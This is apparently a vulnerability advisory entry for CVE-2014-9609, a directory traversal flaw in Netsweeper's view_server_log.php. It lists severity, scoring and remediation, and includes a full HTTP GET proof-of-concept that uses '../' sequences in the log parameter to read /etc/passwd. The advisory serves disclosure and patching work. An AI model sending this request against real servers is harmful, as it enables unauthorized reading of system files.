| Title | Netsweeper 4.0.8 - Directory Traversal |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | An attacker can read, modify, or delete arbitrary files on the server, potentially leading to unauthorized access, data leakage, or system compromise. |
| Remediation | Upgrade to a patched version of Netsweeper or apply the necessary security patches to fix the directory traversal vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.33789 |
| CVE ID | CVE-2014-9609 |
| CWE ID | CWE-22 |
| Tags | cve2014 cve netsweeper lfi packetstorm xss vuln |
A directory traversal vulnerability in webadmin/reporter/view_server_log.php in Netsweeper before 3.1.10, 4.0.x before 4.0.9, and 4.1.x before 4.1.2 allows remote attackers to list directory contents via a .. (dot dot) in the log parameter in a stats action.
GET /webadmin/reporter/view_server_log.php?act=stats&filename=log&offset=1&count=1&sortorder=0&filter=0&log=../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:58.0) Gecko/20100101 Firefox/59.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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